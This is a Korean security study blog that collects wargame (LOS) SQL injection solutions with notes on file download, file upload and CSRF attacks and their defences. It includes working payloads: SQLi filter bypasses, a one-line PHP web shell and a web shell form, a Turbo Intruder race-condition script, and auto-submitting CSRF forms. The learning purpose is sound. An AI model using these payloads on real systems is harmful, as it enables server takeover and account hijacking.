[LOS] SQL Injection 풀이 (troll)

필터링 되는 문자

'

admin

 

여기서 주된 쟁점은  id=admin의 입력이 안되는 필터링을 어떻게 우회할 것인가 이다.

전에 문제에서도 말했듯이.

preg_match('/~~~/',입력된값) 은 i가 있냐 없냐에 따라 대소문자에 상관없이 필터링할 것인지 아니면  필터링 안할지를 결정한다. 위 코드를 보면 admin/" 이다. 즉 대소문자 필터링을 안하기 때문에 Admin, aDmin, adMin 과 같은 값을 넣으면 필터링 우회가 가능하다.

 

 

 

 

[LOS] SQL Injection 풀이 (Vampire)

필터링되는 문자

'

 

이 문제는 GET방식으로 id를 가져와 strtolower로 다 소문자로 만들어서 admin이 문제에 들어가면 공백으로 만들어서 sql문에 전달하는 문제이다. 이 문제는 매우 쉬운점이 문자를 삭제한다는 것이다 만약 삭제시 하나만 삭제하는지 아니면 완전히 사라질때까지 계속 삭제하는지를 알면되는데 대게 모든 함수는 한번만 실행하기 때문에 admin을 삭제한다면 adadminmin 이렇게 해도 admin만 남아 sql문으로 전달이 된다. 저걸 전달하면 아래와 같이 풀리게 된다.

 

 

 

 

 

[LOS] SQL Injection 풀이 (Skeleton)

필터링 되는 문자

prob

-

.

()

 

sql 문을 보게되면 pw에 어떠한 값을 넣더라도 1=0은 거짓이기 때문에 sql 문이 전체가 거짓이 되어 어떠한 값도 찾아내지 못하게 된다. 이를 위해서는 guest가 있는 앞 부분과 1=0 이 있는 뒷부분을 둘다 구분하여 가운데에 참을 넣어주면 된다.

query : select id from prob_skeleton where id='guest' and pw='' and 1=0

이런식으로 말이다. 아래 처럼하면 가운데 id=admin만 살아남아 id=admin인 것을 찾는 sql문이 된다.

id='guest' and pw='x' or id='admin' or 'x' and 1=0

 

 

 

https://portswigger.net/web-security/file-path-traversal

[File Download ] 공격 및 대응방안 정리

내가 업로드한 파일을 다운받는다는 것은 서버의 다른 파일을 다운받는 것의 가능성도 존재한다.

하지만 이경우는 download. php라는 경로를 입력으로 받아서 경로에 해당하는 파일의 데이터를 보여줌으로써 가능하다. 왜 download.php를 거쳐야하는 것일까 그것은 예제로 설명해줄 것이지만 간단히 말하자면 일반적으로  직접적인 경로로php 파일의 데이터를 불러오면 <?php ?> 라는 부분은 서버측 언어이기때문에 실행되어 반환되게 한다. 즉 우리가 가장 보고싶은 서버측 과의 소통과정이 없기때문에 약점을 파악하는데 어려움이 있다. 그와 대조되는 download.php 같은 경우 파일을 실행해서 가져오는 것이 아닌 읽어주기만 하기 때문에 <?php ?> 쪽 데이터가 보일 수 있게 된다. 그렇기 때문에 download.php라는 중간 단계를 거치는 경우에만 데이터를 전체 다 볼 수 있다.

아래는 예시인데 downlaod.php에서 filepath라는 변수를 Get로 받아서 처리하는 것을 볼 수 있다. 이때 경로를 상위디렉토리의 download.php의 경로를 넣어줬더니 아래와 같이 download.php의 내부 파일 내용이 나온 것을 볼 수 있다.

위와 같이 Download 기법을 통해 다양한 etc/pwd와 같은 데이터를 뽑을 수 있으니 이를 조심해야한다.

하지만 한계도 존재한다. 만약 상위폴더에 여러개의 하위폴더가 존재할경우 여러하위폴더들은 확인 불가하다 우리가 넣을수 있는 경로는 상위폴더로 이동하는 경로만 넣을 수 있기 때문이다.

 

대응 방안

(1) DB 에 파일 저장 CLOB/BLOB

즉 파일 경로를 DB에 저장함으로써 파일 경로를 변경 불가능하게 할 수 있다. 하지만 이경우도 SQL injection이 가능하다면 DB의 내용을 파악하여 DB 내용을 바꾸는 코드를 넣을 수 있다면 우회가 가능하다.

DB 사용 예시:

fileId
select filepath from board where fileId="filePath"
downlaod(filePath)


(2) ../ (디렉토리 트레버져) 공격을 막을 수 있는 필터링

생각해보면 상위디렉토리로 못가게만 하면되는 것이 아닌가? 그렇기 때문에 상위 디렉토리로 가는 ../와 ../와 상응하는 url 코드를 필터링하여 경로를 수정하지 못하게 한다.
내가 추가적으로 생각한 것이지만 만약가능하더라도 주요 php 파일 같은 경우 다른 하위 디렉토리에 저장해놓는다면 php를 파악하지 못하게하여 우회가 불가능하게 만들 수도 있을것 같다.



File Upload와 File Download 공격 및 대응방안 정리

https://knowledge-base.secureflag.com/vulnerabilities/unrestricted_file_download/unrestricted_file_download_vulnerability.html

File upload의 대응방안

(1) DB에 파일 명과 그 안의 데이터를 올린다.

일반적으로 서버에서 파일이 실행되어 결과를 출력하기 위해서는 서버에서 실행되는 확장자를 가지고 있어야한다. 그 후 파일 위치를 찾아서 실행을 해야하면 어떤 코드인지에 따라 서버의 데이터를 가져올 수도 있다. 그렇다면 이 파일이 실행되지 않게 파일명은 과 데이터를 byte 코드로 db에 저장해버리는 것이다. 이렇게 되면 해당 파일을 실행할 수 없게 되기 때문에 우회가 어려워 진다.

(2) DB로 파일 경로를 저장한다.

서버에 만약 실행가능한 파일을 업로드한다고 해도 실행을 하지 못한다면 말짱도루묵일 것이다. 이를 해결하기 위해서는 업로드되는 파일의 경로를 DB에 저장해서 실행자체를 못하게 하는 것이다. 다만 문제점이 있다. DB의 취약점이 있다면 이는 우회가 가능하기 때문이다. 즉 SQL Injection이 가능하다면 DB를 장악해서 데이터를 뽑아내서 우회가 가능해진다.

(4) 파일이 저장되는 곳의 Directory의 실행 권한을 제한한다.

Directory는 권한을 설정할 수 있는 폴더이기 때문에 파일을 저장할때 실행이 불가능하도록한다면 우회가 어려워진다. 다만 저장되는 위치를 변경가능하다면 우회가 가능하기 때문에 코드를 짤때 이 점을 유의해야한다.

(5)Filde upload시 화이트리스트 기반으로 확장자를 필터링 한다.

가장좋은 것은 DB로 파일을 관리하는 것이지만 그에 차선책으로 white list filtering 또한 좋은 필터링이다. 확장자 명을 잘 구분하여 가져온 다음에 해당 확장자가 허용하는 확장자가 아닐경우에 업로드를 막는 것인데 여기서 한가지 주의해야할 점이 있다. 확장자를 가져올때 서버에 임시적으로 파일을 가져와 임시폴더에 저장 후 판별 한다음에 삭제할지 아니면 그대로 저장할 것인지를 판별하게 되는데 이 방법이 취약점이 될 수 있다. burp suit에서 turbo intruder가 있다. turbo inruder는 원하는 요청을 매우 짧은시간에 여러번 보내게 되는 것인데. 파일의 확장자를 판별하기위해 서버로 올릴때는 서버에 해당 파일이 있기 때문에 파일이 존재하는 짧은시간동안 다운로드 요청을 여러번 보내는 것이다. 이 경우 파일이 다운로드 되거나 실행이 될 수 있기 때문에 이점도 고려해야할 점이다.

 

LFI(Local File Inclusion)

이미지 파일을 올리기만 해도 실행이 된다면 얼마나 좋을까? 하지만 그것이 불가능하기 때문에 위와 같이 여러 경로로 우회를 하게되는 것이다. 하지만 한가지 우회방법이 존재한다. 그것은 include를 이용하는 것이다.

페이지를 만들때 사용되는 이미지는 수정할때 모든 파일을 수정하기 어렵기 때문에 이미지를 불러오는 코드를 작성하여 따로 저장하게 된다. 즉 하나를 수정해도 사이트 전체가 수정이 되는 것이다. 

아래와 같이 image.php에서 이미지 파일을 불러오는 include함수가 있다고 하자 이 경우에는 include()가 <?php ?> 묶이게 되고  image.php에 의해 불러오는 이미지 내부 데이터가 php 안에 들어가서 실행되게 된다. 즉 image 파일이여도 파일이 실행되게 되는 것이다.

<?php
	
	include('./image.php')
	

	.....
    ...
    ..

?>

이렇게 include가 있는곳은 대게 어디일까? 바로 언어별로 해석하는 경우 php 를 참고하기 때문에 이 경로를 burp suit으로 바꿔서 악성 코드를 업로드하게 되는 것이다.

문제가 한번에 풀려서 당황했다. 내가 푼 다른 문제에서 고민했던 내용이 바로답이였다. 이 경우 이미지 파일임을 나타내는 Content type과 문서내 File signiture 를 수정하고 php 확장자 명을 붙여주면 바로 풀리게 된다.

그냥 바로 마지막 문제를 풀도록 하겠다.

 

마지막 문제는 업로드시 파일을 엄격하게 필터링한다고 나와있다. 하지만 파일 처리 방식에서 그것을 우회할 수 있다 했다. 아래는 어떤한 코드로 필터링하는지 나와있는 코드이다.

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>

간단히 해석해 보면 name의 변수는 post 방식으로 클라이언트에서 내용과 함께 받아오고 해당 파일을 서버의 임서 폴더에 올린다. 그후 필터링이 끝나면 서버로 올리게 되는 것이다. 여기서 주로 판별되는 요점은 jpg와 png 형식의 파일만 통과시킨다는 것이다. 문제에서 파일을 처리하는 과정에서 경쟁 특성을 이용하라 했으니 우선 함수들의 특성을 알아보겠다.

 

strtolower(pathinfo($fileName,PATHINFO_EXTENSION));

여기서 strtolower은 입력받은 문자를 다 소문자로 바꾸는 함수이기 때문에 패스하고

pathinfo 이 부분이 조사해보니 중요했다. pathinfo는 입력받은 파일의 확장자명을 따로 추출하여 인자를 전달하는 것으로 알려져 있다. 그렇다면 pathinfo에 대한 우회 기법을 찾아보면 더 수월하게 다음 단계로 진행될 것이다.

shell.php?\0.jpg 을 사용해서 올렸더니 0.jpg만 올라갔다.. \0은 null 문자로 뒤에 문자를 무시한다는 것인데 여기서는 필터링이 null 문자가 생기면 앞에 문자를 날려버리는 필터링을 가진 것으로 예상된다.

몇시간 째 이문제 붙잡고 풀어봤지만, 실패 하였다.

결국 답지를 보았는데 내가 생각한 방법과 완전히 다른 방법으로 진행하였다. 원리는 turbo Intruder를 이용하는 것인데 turbo Intruder라는 건 여러가지 요청을 한번에 여러개를 보내는 것을 의미한다.

burp suit에는 intruder도 있는데 intruder는 일반적으로 여러가지 페이로드를 한 페이지에 지속적으로 입력할때 사용되는 것이다.

그러면 turbo intrude는 왜 사용하는 것일까 코드를 보게되면 서버의 특정 경로에 파일이 우선 올라가서 검증하게 되는데 검증에 실패시 삭제가 바로 이뤄진다. 이 순간은 매우 짧은 순간이다. 그렇다면 만약 서버에 올라가는 짧은 시간동안 지속적으로 요청을 하게 되면 필터링 과정 중에 존재하는 파일을 가져올 수 있을 것이다. 

이를 파이썬 코드로 작성해서 가져오는 것이다.

아래와 같은 코드로 말이다. your-post request에는 파일을 올리는 요청과 파일을 불러오는 요청코드를 각 1, 2번에 적어주고 실행하면 php 파일 실행이 가능하게 된다.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

'Web > Web 보안' 카테고리의 다른 글

[File Download ] 공격방안 정리  (0) 2022.06.04
[File Upload ] 대응방안 정리  (0) 2022.06.03
[File upload] 공격 기법  (0) 2022.05.27
[CSRF] 공격 방법 및 대응 방안  (0) 2022.05.23
XSS, CRSF  (0) 2022.05.12

File upload 공격이란

공격자가 원하는 임의의 파일을 업로드 할 수 있는 취약점이다.

발생 이유

> 클라이언트 측 데이터를 신뢰하면서 검증이 없기 때문에 발생하게 된다.

 

* 취약 조건
- 서버 측 실행 파일 업로드
- 업로드한 파일을 실행할 수 있느냐

** Web shell 
-서버 측 실행 코드
 
Webl shell을 장학한다는 것은 내가 원하는 파일 실행 및 이동등의 명령어를 실행 가능하다는 것을 의미한다.
대표적은 웹셀 코드로는 system(), eval() 등이 있다.
아래 코드는 한줄 웹셀로 cmd 라는 변수를 get 방식으로 받아서 system 웹셀을 작동시키는 코드이다. 이 것을 업로드 후 실행을 시킬 수 있어야 유효한 코드가 된다.

* One Line Web Shell
<?php system($_get['cmd']); ?>

그럼 어떻게 실행이 가능할까? 그것은 경로를 우선 파악한다면 html에 해당 경로로 php파일을 작동시켜 ?cmd="원하는 명령어"를 추가로 붙여 cmd 라는 변수를 get으로 전달하여 한줄 웹 쉘을 실행하여 서버를 장악할 수 있게 되는 것이다.

만약 일일히 치는게 귀찮다면, 아래 코드와 같이 자동으로 넣어서 input에 따른 값을 출력하게 하면 된다.

<html>

<body>
    <form method="GET">
        <input type="text" name='cmd' id='cmd' size="100">
        <input type="submit" value='제출'>
    </form>
    <pre>
    <?php
	if (isset($_GET['cmd'])) {
		system($_GET['cmd']);
	}  else {
    echo "<h1> 입력 후 출력해주세요</h1>";
    }
	?>
	</pre>
</body>

</html>

 아래와 같은 창을 작동시킬 수 있게 된다.

위 코드는 ls ../../ ls명령어를 실행했을 때 서버의두번째 전경로에 어떠한 파일이 있는지 보여준다.

위 코드는 

http://server/uploads/tyrell/last3.php?cmd=ls+..%2F..%2F

위와 같은 url로 작동하게 된다.

POST 방식은 여기서 사용안한게 변수를 계속 전달해줘야하는데 POST 방식은 서버로 올릴때 마다 파일의 내부 변수를 계속 바꿔야 하기 때문에 번거롭다. 그래서 get방식 사용!

이 모든 것이 사용가능했던 이유는 경로를 찾아서 해당 내가 업로드한 php 파일을 찾을 수 있었기 때문에 이것이 가능했던 것이다. 그렇기 때문에 공격을 하기 위해서는 아래 1,2번 과정을 우선 수행해야할 것이다.
(1) File Upload
(2) 업로드한 파일 경로 찾기

File upload 공격으로 일어날 수 있는 시나리오

(1) 서버 측 실행 파일 업로드
--> web shell, 서버 장악이 가능하다.

(2) phising page 
--> HTML 파일 업로드,
로그인 페이지가 아닌 똑같은 style의 피싱 로그인 페이지로 이동시킴

(3) Deface 공격
--> index.html를 덮어씌워서 공격한다.

(4) XSS 공격(Stored)
--> HTML 파일 업로드 가능하기 때문에 XSS도 가능

(5) Dos()
--> 용량이 큰 파일들을 서버에 저장시켜 다른사람들이 사용하지 못하도록 막을 수 있다.

 

위와 같은 시나리오를 막기 위한 검증 방법이 존재한다.

검증은 항상 서버측에서 이루어져야 한다.

(1) MIME(Multipurpose Internet Mail Extensions) 검증

즉 서버로 파일이 올라갈 때 Content-type이라는 것이 같이 올라가는데 파일의 타입을 확인하는 것이다. 이것이 png 와 같은 사진 타입이면 올리고 서버에 영향을 줄 수 없는 파일 타입경우는 통과시키는 것이다.

 

(2) 블랙 리스트 필터링

> php, jsp, asp  를 못올리게 막는다.

 

(3) File Signiture

압축 파일이나 이미지  파일, 텍스트 파일들의 경우 자신이 무슨 파일인지 알려주는 헤더가 존재한다. 이를 편집하여 <?php ?> 를 삽입하면 우회하기 때문에 이를 막는 방법이 필요하다.

'Web > Web 보안' 카테고리의 다른 글

[File Upload ] 대응방안 정리  (0) 2022.06.03
[ Burp suit] File upload 문제 5 풀이 마지막  (0) 2022.06.02
[CSRF] 공격 방법 및 대응 방안  (0) 2022.05.23
XSS, CRSF  (0) 2022.05.12
SQL Injection 접근 방법  (0) 2022.04.10

출처 : https://www.iplocation.net/csrf

CSRF의 공격 방안

CSRF라는 것이 서버에 임의의 요청을 보내는 것이기 때문에 서버로 데이터로 보내는 방법인 GET, POST 방식을 사용하게 된다. 그렇기 때문에 공격 방안도 어떠한 방식으로 데이터를 보내는가에 따라서 달라지게 된다.

 

(1) GET 방식

GET방식이라는 것은 URL을 통해 데이터 전달이 가능하다. 이 말은 즉 URL을 변형하는 것만으로도 변조가 가능하다는 것을 의미한다.

대표적인 예시로 옥션 해킹 사건이 있겠다.

"관리자리님 급합니다! 메일 확인 부탁합니다." 라는 이메일을 작성하고 안에 아래와 같은 코드를 작성한 것이다.

<img src="http://auction.com/changeUserAcoount?id=admin&password=admin" width="0" height="0">

위 코드는 src라는 경로로 이미지 파일을 불러오는 것인데 저 주소를 접속한 순간 id와 password가 admin으로 모두 바뀌게 되어 외부 침입자가 계정을 탈취하는 것이 가능하다. 이와 같이 get 방식의 경우 url을 변경하여 공격을 하는 방법이다.

물론 위 코드는 script 코드이기때문에 XSS를 같이 이용한 기법이다. CSRF만을 사용한다면 이메일에 "아래 주소로 긴급하게 들어와주세요" 라는 글을 작성하고 그 링크를 클릭해야만 작동이 가능하다. 하지만 이러한 기법은 의심의 여지가 크기 때문에 이렇게 결합하여 사용을 많이한다.

 

(2) POST 방식

POST 방식은 단독으로 사용이 불가능하다. 기본적인 POST방식의 경우 form의 형태로 전달이 되기 때문에 스크립트 형태로 전달되어야 할 필요성이 있다. 그렇기 때문에 XSS와 같이 사용하면 CSRF의 날개를 달아준 것과 같은 역할을 하게 되는 것이다.

<form method="POST" action="http://hack.com/study/mypage_change_ok.php">
    <input type="hidden" name="id" value="admin">
    <input type="hidden" name="password" value="admin">
</form>
<script>
document.forms[0].submit();
</script>

위의 form은 action이라는 사이트에 접속하여 post 방식으로 id=admin, password=admin 으로 바꾸는 코드를 서버에 전달한다는 의미이다. document.forms[0].submit()을 적어놓으면 자동으로 값을 전달하게 된다.

위 코드를 Stored XSS으로 게시글에 저장해 놓으면 자동으로 계정 정보를 바꾸게 되는 것이다.

 

CSRF 대응 방안

이제 공격 방안을 알았으니 이를 막는 방안에 대해 설명하겠다.

(1) 웹 메서드 변경 GET -> POST

생각해 보면 GET의 경우 url을 변경하는 것만으로도 데이터 변경이 가능하다. 그에 반해 POST 방식의 경우 스크립트가 필요하다. 그 말은 즉 GET 방식보다 POST 방식이 변조에 더 어렵다는 것을 나타내기 때문에 GET 방식을 POST 방식으로 바꿀 필요성이 있다.

 

(2) Referrer 헤더 검증

-Referrer 헤더 검증 이라는 것은 HTTP://hackyou:5001/read.php? 와 같은 어느 주소에서 요청이 오는지를 확인하는 것이다. 만약 해커가 다른 사이트에서 공격을 해온다고 하면 요청 사이트의 헤더를 확인해 미리 차단시켜 공격을 방지하는 것이다.

만약 같은 도메인내에서 XSS 취약점이 발견될 경우 우회가 가능하지만, Referrer 헤더의 조건을 엄격하게 만들 수록 우회가 어려워 진다. 

물론 헤더를 없애고 보내는 아래 코드를 보내면 우회가 가능하다. 이 외에는 Referrer을 엄격하게 하면 우회가 불가능하다는 것이 특징이다.

<meta name="Referrer" content="no-Referrer">

(3) CSRF Token 

CSRF Token의 경우 랜덤한 난수값을 생성하여 서버와의 응답시 난수값을 포함하여 전달하는 것이다. 

이럴 경우 서버와의 응답을 하는 페이지에 접속할 때마다 새로운 CSRF Token을 발행하여 공격자가 CSRF Token을 위조하지 못하도록 하여 CSRF 공격을 막는 것이다.

 

(4) Captcha

Captcha란 아래 사진과 같이 사람만이 풀 수 있는 기법으로 이를 사용하여 대규모 자동화 공격을 막거나 계정을 변경할 때 아래와 같은 Captcha를 넣게된다면 자동화 공격이 어렵다.

즉 challenge / solve 라는 개념을 넣어 해커의 공격을 더 어렵게 만드는 것이다.

출처 : https://onezero.medium.com/why-captcha-pictures-are-so-unbearably-depressing-20679b8cf84a

 

(5) 인증 정보 추가

우리가 보통 비밀번호를 바꾸면 이전 비밀번호를 넣어야 변경이 가능한 것이 대부분일 것이다. 이렇게 하는 이유는 기존 비밀번호는 공격자가 알아내기 어렵기 때문이다. 특정 서버 이용자를 사회공학기법을 이용한 피싱을 통해 기존 비밀번호를 얻어내야한다는 번거로움이 있고, 만약 이를 성공한다고 해도 특정 이용자의 데이터만 가로챌 수 있다. 또한 매번 새로운 정보를 입력해야하는 OTP도 이를 해결하는데 큰 도움이 될 것이다. 이 때문에 이러한 인증 정보 추가는 확실하면서 중요한 공격 방어 기법이 된다.

'Web > Web 보안' 카테고리의 다른 글

[ Burp suit] File upload 문제 5 풀이 마지막  (0) 2022.06.02
[File upload] 공격 기법  (0) 2022.05.27
XSS, CRSF  (0) 2022.05.12
SQL Injection 접근 방법  (0) 2022.04.10
[ 웹 해킹 ] SQL Injection  (0) 2022.04.08

+ Recent posts